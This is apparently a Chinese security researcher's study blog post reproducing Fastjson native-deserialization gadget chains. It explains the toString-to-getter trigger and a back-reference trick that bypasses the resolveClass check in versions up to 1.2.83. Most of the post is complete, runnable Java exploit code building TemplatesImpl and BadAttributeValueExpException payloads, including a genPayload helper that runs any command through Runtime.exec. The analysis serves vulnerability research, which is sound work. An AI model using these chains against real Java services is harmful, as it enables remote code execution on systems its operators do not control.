看了fastjson的各版本链子,再看一下fastjson的原生反序列化,看的是y4师傅的两篇文章

https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/

来简单的学习复现一下

利用限制

Fastjson1版本小于等于1.2.48(不过1.2.49之后也有绕过方法,这里指的是直接用不需要绕过的)

Fastjson2<=2.0.26(我自己测试刚好在文章版本的下一个版本2.0.27开始就不行了)

找链子

要用原生反序列化,就需要寻找fastjson中继承了Serializable接口的类,fastjson里面有两个这样的类:JSONArray与JSONObject

这两个类的利用方式差不多,这里用JSONArray这个类

这两个本身是没有实现readObject方法的,所以是通过其他类的readObject来触发JSONArray与JSONObject中的某个方法来形成链子。

文章中的就是利用JSON的toString方法触发JSON的toJsonString的调用

image-20241011130936507

这和JSONObject以及JSONArray有什么关系呢,我去看了源码,JSONArray和JSONObject是JSON的子类,他们本身是没有toString方法的,所以会调用到其父类JSON的toString方法

那为什么要触发toString呢,因为JSONObject和JSONArray在触发toString方法的时候会调用get方法,欸那就可以用来将我们的链子封装在里面来触发了

get触发例子

package org.clown.Own;

import com.alibaba.fastjson.*;

import java.util.ArrayList;
import java.util.HashMap;

public class Student {
private String name;
private int age;

public Student() {
System.out.println("Student构造函数");
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}

public static void main(String[] args) {

// JSONObject调用toString
HashMap<String,Object> hashMap=new HashMap<>();
hashMap.put("clown",new org.clown.Test1.Student());
JSONObject jsonObject = new JSONObject(hashMap);
String string = jsonObject.toString();
System.out.println("-----------------------");

// JSONArray调用toString
ArrayList<Object> arrayList=new ArrayList<>();
arrayList.add(new Student());
JSONArray objects = new JSONArray(arrayList);
String string1 = objects.toString();
}
}

image-20241011132452413

至于为什么toString会调用getter方法就看文章的分析了解一下就好了

利用链构造

能触发getter方法就很容易想到通过触发TemplatesImpl的getOutputProperties方法实现加载任意字节码最终触发恶意方法调用

然后触发toString方法我们可以利用BadAttributeValueExpException来触发,该类在cc和rome链都有用到

那么链子我们就可以写出来了,这里用javassist动态生成恶意类

利用依赖

<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.48</version>
</dependency>

利用链

fastjson1的利用

package org.clown.Own;

import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class fastjson1 {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{
//生成恶意类
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "clown");
setValue(templates, "_tfactory", null);


JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

image-20241011133609518

fastjson2利用

package org.clown.Own;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class fastjson2 {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "clown");
setValue(templates, "_tfactory", null);


JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

image-20241011134159108

JSONObject的利用也一样,就不再写一遍了

为什么fastjson1.2.49以后不再能利用

因为从1.2.49开始,JSONArray以及JSONObject方法开始有了自己的readObject方法

image-20241011134629872

在其SecureObjectInputStream类当中重写了resolveClass,在其中调用了checkAutoType方法做类的检查

image-20241011135009543

所以后面就是我们如何进行绕过的问题了

fastjson1.2.49后绕过

他检查的逻辑是这样的,当调用JSONArray/JSONObject的Object方法触发反序列化时,将这个反序列化过程委托给SecureObjectInputStream处理时,触发resolveClass实现对恶意类的拦截

看起来很正常,但实际上他的反序列化的逻辑是不安全,他是不安全的ObjectInputStream套个安全的SecureObjectInputStream导致了绕过

ObjectInputStream -> readObject
xxxxxx(省略中间过程)
SecureObjectInputStream -> readObject -> resolveClass

安全的反序列化写法

我们正常的安全反序列化写法应该是这样的,生成一个继承ObjectInputStream的类并重写resolveClass(假定为TestInputStream),由它来做反序列化的入口,这样才是安全的

TestInputStream -> readObject -> resolveClass

如何绕过

那我们的绕过思路就是如果在中间的空档期做一些手脚,让他不进入到resolveClass里面

关键在ObjectInputStream#readObject0里面,我们看一下

image-20241011155830987

他会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象

在不同的case中,大部分类都会最终调用readClassDesc去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是TC_CLASSDESC那么就会在readNonProxyDesc中触发resolveClass

image-20241011161140045

image-20241011161152724

然后分支中,不会调用readClassDesc的分支有TC_NULLTC_REFERENCETC_STRINGTC_LONGSTRINGTC_EXCEPTION,string与null这种对我们毫无用处的,exception类型则是解决序列化终止相关也没什么用,那么就只剩下Reference引用类型了。

引用类型利用

我们需要在JSONArray/JSONObject对象反序列化恢复对象时,让我们的恶意类成为引用类型从而绕过resolveClass的检查

方法就是向List、set、map类型中添加同样对象时即可成功利用

原理分析

分析代码:

package org.clown.Own;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;

public class fastjson1Usual {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
//生成恶意类
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "clown");
setValue(templates, "_tfactory", null);

ArrayList<Object> arrayList=new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(arrayList);
}
}

我们写入对象的时候会走到writeObject0这个方法

image-20241011163106557

这里的注释翻译一下就是处理以前写入且不可替换的对象

然后走到ArrayList#writeObject

image-20241011164111537

然后跟进去

image-20241011164143924

这次传的是TemplatesImpl类,我们第一次写的时候他会在handles哈希表中建立映射

当我们再次写入的时候,他在查询的时候就不会返回-1

image-20241011164654999

然后就可以进入到writeHandle方法里面

image-20241011164743700

可以看到他将重复对象以引用类型写入,这样我们就可以绕过resolveClass的检查了

利用链构造

文章的简单利用代码思路

TemplatesImpl templates = TemplatesImplUtil.getEvilClass("clac");
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray);
arrayList.add(bd);

WriteObjects(arrayList);

文章的思路解释:

序列化时,在这里templates先加入到arrayList中,后面在JSONArray中再次序列化TemplatesImpl时,由于在handles这个hash表中查到了映射,后续则会以引用形式输出

反序列化时ArrayList先通过readObject恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过

Set、Map类型也是这样的绕过

现在就可以写exp了,改成fastjson1.2.83版本来打

ArrayList的版本

package org.clown.Own;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;

public class fastjson1Usual {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
//生成恶意类
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "clown");
setValue(templates, "_tfactory", null);

ArrayList<Object> arrayList=new ArrayList<>();
arrayList.add(templates);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);

arrayList.add(val);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(arrayList);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

image-20241011170336723

这里一开始我自己写直接简单粗暴arraylist加了两次,然后把arraylist放JSONArray里,导致打不通,后来一想都放里面的话有一个会不是引用类型,导致他经过resolveClass之后会提前抛出异常,所以我们无论是List还是Map,都是要包裹在外面的,使其第一个类反序列化的时候不经过resolveClass

文章的HashMap的版本

package org.clown.Own;

import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class fastjson1Usual1 {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}

public static void main(String[] args) throws Exception{


TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd,"val",jsonArray);

HashMap hashMap = new HashMap();
hashMap.put(templates,bd);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();

ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
}
}